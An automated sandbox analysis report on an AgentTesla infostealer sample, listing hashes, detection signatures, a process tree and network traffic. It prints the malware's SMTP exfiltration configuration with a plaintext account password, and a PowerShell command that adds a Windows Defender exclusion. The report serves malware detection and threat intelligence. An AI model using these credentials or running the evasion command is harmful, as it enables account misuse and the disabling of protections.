Edit tour

Windows Analysis Report
4munRyMrBm.exe

Overview

General Information

Sample name:	4munRyMrBm.exe renamed because original name is a hash value
Original sample name:	19b7b25564d95b2f1f3ed8904a5a1369445e9064c6e7e3ff4a058d5546cd38ea.exe
Analysis ID:	1466968
MD5:	72f322c11bdcf5920ee23f6fffa7d0a7
SHA1:	7c93d6d0af8b5e333dbf2cb2e3df2943c7163103
SHA256:	19b7b25564d95b2f1f3ed8904a5a1369445e9064c6e7e3ff4a058d5546cd38ea
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Outbound SMTP Connections

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

4munRyMrBm.exe (PID: 5660 cmdline: "C:\Users\user\Desktop\4munRyMrBm.exe" MD5: 72F322C11BDCF5920EE23F6FFFA7D0A7)

conhost.exe (PID: 5916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1340 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 6620 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

CasPol.exe (PID: 5324 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.ionos.com", "Username": "gm@emisafe.ae", "Password": "T2@Gwt567"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.3326932398.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.3326932398.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.3327954890.00000000030EE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.3327954890.00000000030A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.3327954890.00000000030A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: 4munRyMrBm.exe PID: 5660	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4munRyMrBm.exe PID: 5660	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CasPol.exe PID: 5324	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CasPol.exe PID: 5324	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.4munRyMrBm.exe.1cfbda4abe0.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.4munRyMrBm.exe.1cfbda4abe0.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.4munRyMrBm.exe.1cfbda4abe0.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3167f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x316f1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3177b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3180d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31877:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x318e9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3197f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a0f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.CasPol.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.CasPol.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.CasPol.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3347f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x334f1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3357b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3360d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33677:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x336e9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3377f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3380f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.4munRyMrBm.exe.1cfbdac0070.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.4munRyMrBm.exe.1cfbdac0070.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.4munRyMrBm.exe.1cfbdac0070.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3167f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x316f1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3177b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3180d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31877:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x318e9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3197f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a0f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.4munRyMrBm.exe.1cfbdac0070.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.4munRyMrBm.exe.1cfbdac0070.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.4munRyMrBm.exe.1cfbdac0070.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3347f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6deb7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x334f1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6df29:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3357b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6dfb3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3360d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6e045:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33677:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6e0af:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x336e9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6e121:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3377f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e1b7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3380f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e247:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3347f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa890f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xe3347:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x334f1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa8981:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xe33b9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3357b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa8a0b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xe3443:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3360d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa8a9d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xe34d5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33677:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa8b07:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xe353f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x336e9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa8b79:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xe35b1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3377f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa8c0f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xe3647:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.4munRyMrBm.exe.1cfbd800058.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.4munRyMrBm.exe.1cfbd800058.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.4munRyMrBm.exe.1cfbd800058.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x27e007:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x2f3497:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32decf:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x27e079:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x2f3509:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32df41:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x27e103:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x2f3593:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32dfcb:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x27e195:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x2f3625:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32e05d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x27e1ff:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x2f368f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32e0c7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x27e271:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2f3701:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32e139:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x27e307:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2f3797:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32e1cf:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\4munRyMrBm.exe", ParentImage: C:\Users\user\Desktop\4munRyMrBm.exe, ParentProcessId: 5660, ParentProcessName: 4munRyMrBm.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, ProcessId: 1340, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 74.208.5.2, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, Initiated: true, ProcessId: 5324, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49710

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\4munRyMrBm.exe", ParentImage: C:\Users\user\Desktop\4munRyMrBm.exe, ParentProcessId: 5660, ParentProcessName: 4munRyMrBm.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, ProcessId: 1340, ProcessName: powershell.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.ionos.com", "Username": "gm@emisafe.ae", "Password": "T2@Gwt567"}

Multi AV Scanner detection for submitted file

Source: 4munRyMrBm.exe

ReversingLabs: Detection: 70%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: 4munRyMrBm.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rsi	0_2_00007FF7C5C32740
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rdi	0_2_00007FF7C5C60B00
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rsi	0_2_00007FF7C5C609D0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rsi	0_2_00007FF7C5C60980
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rbx	0_2_00007FF7C5BB1988
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rbx	0_2_00007FF7C5BB1988
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rbx	0_2_00007FF7C5C32430
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rsi	0_2_00007FF7C5C32430
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rbx	0_2_00007FF7C5C32430
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rbx	0_2_00007FF7C5C32430
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rbx	0_2_00007FF7C5C32430
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rbx	0_2_00007FF7C5C32430
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rbx	0_2_00007FF7C5C32430
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rbx	0_2_00007FF7C5C32430
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rsi	0_2_00007FF7C5C32430
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push rdi	0_2_00007FF7C5C32430
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 4x nop then push r14	0_2_00007FF7C5CBE3C0

Source: global traffic

TCP traffic: 192.168.2.6:49710 -> 74.208.5.2:587

Source: Joe Sandbox View

IP Address: 74.208.5.2 74.208.5.2

Source: Joe Sandbox View

ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE

Source: global traffic

TCP traffic: 192.168.2.6:49710 -> 74.208.5.2:587

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: smtp.ionos.com

Source: CasPol.exe, 00000005.00000002.3327954890.00000000030F6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3330220158.0000000005F80000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3327712733.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.geotrust.com/GeoTrustTLSRSACAG1.crt0
Source: CasPol.exe, 00000005.00000002.3327954890.00000000030F6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3330220158.0000000005F80000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3327712733.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cdp.geotrust.com/GeoTrustTLSRSACAG1.crl0v
Source: CasPol.exe, 00000005.00000002.3327954890.00000000030F6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3330220158.0000000005F80000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3327712733.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=
Source: CasPol.exe, 00000005.00000002.3327954890.00000000030F6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3330220158.0000000005F80000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3327712733.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0B
Source: CasPol.exe, 00000005.00000002.3327954890.00000000030F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.ionos.com
Source: CasPol.exe, 00000005.00000002.3327954890.00000000030F6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3330220158.0000000005F80000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3327712733.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://status.geotrust.com0
Source: CasPol.exe, 00000005.00000002.3327954890.00000000030F6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3330220158.0000000005F80000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3327712733.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: 4munRyMrBm.exe, 00000000.00000002.2097877620.000001CFBD400000.00000004.00001000.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3326932398.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: 4munRyMrBm.exe	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: 4munRyMrBm.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: 4munRyMrBm.exe, 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: 4munRyMrBm.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: 4munRyMrBm.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: CasPol.exe, 00000005.00000002.3327954890.00000000030F6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3330220158.0000000005F80000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.3327712733.00000000010BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, SKTzxzsJw.cs	.Net Code: rgMU
Source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.raw.unpack, SKTzxzsJw.cs	.Net Code: rgMU

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.4munRyMrBm.exe.1cfbdac0070.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.4munRyMrBm.exe.1cfbda4abe0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.4munRyMrBm.exe.1cfbd800058.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BE1D80	0_2_00007FF7C5BE1D80
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BE3480	0_2_00007FF7C5BE3480
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BE46E0	0_2_00007FF7C5BE46E0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BB7EA0	0_2_00007FF7C5BB7EA0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BC9660	0_2_00007FF7C5BC9660
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BCFE70	0_2_00007FF7C5BCFE70
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BB35A0	0_2_00007FF7C5BB35A0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BE2DB0	0_2_00007FF7C5BE2DB0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BC7DC0	0_2_00007FF7C5BC7DC0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BE6D80	0_2_00007FF7C5BE6D80
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BE2580	0_2_00007FF7C5BE2580
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BE5060	0_2_00007FF7C5BE5060
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BD6860	0_2_00007FF7C5BD6860
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5C4C880	0_2_00007FF7C5C4C880
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BDB850	0_2_00007FF7C5BDB850
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BB6AA0	0_2_00007FF7C5BB6AA0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BC3AC0	0_2_00007FF7C5BC3AC0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BBB2C0	0_2_00007FF7C5BBB2C0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BCD1F0	0_2_00007FF7C5BCD1F0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BD1930	0_2_00007FF7C5BD1930
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BC2D00	0_2_00007FF7C5BC2D00
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BEE4B0	0_2_00007FF7C5BEE4B0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BDBC70	0_2_00007FF7C5BDBC70
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BE5490	0_2_00007FF7C5BE5490
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BC1C50	0_2_00007FF7C5BC1C50
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BDC3A0	0_2_00007FF7C5BDC3A0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BE63B0	0_2_00007FF7C5BE63B0
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BBBB60	0_2_00007FF7C5BBBB60
Source: C:\Users\user\Desktop\4munRyMrBm.exe	Code function: 0_2_00007FF7C5BD1384	0_2_00007FF7C5BD1384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_01229378	5_2_01229378
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 5_2_01224A98	5_2_01224A98
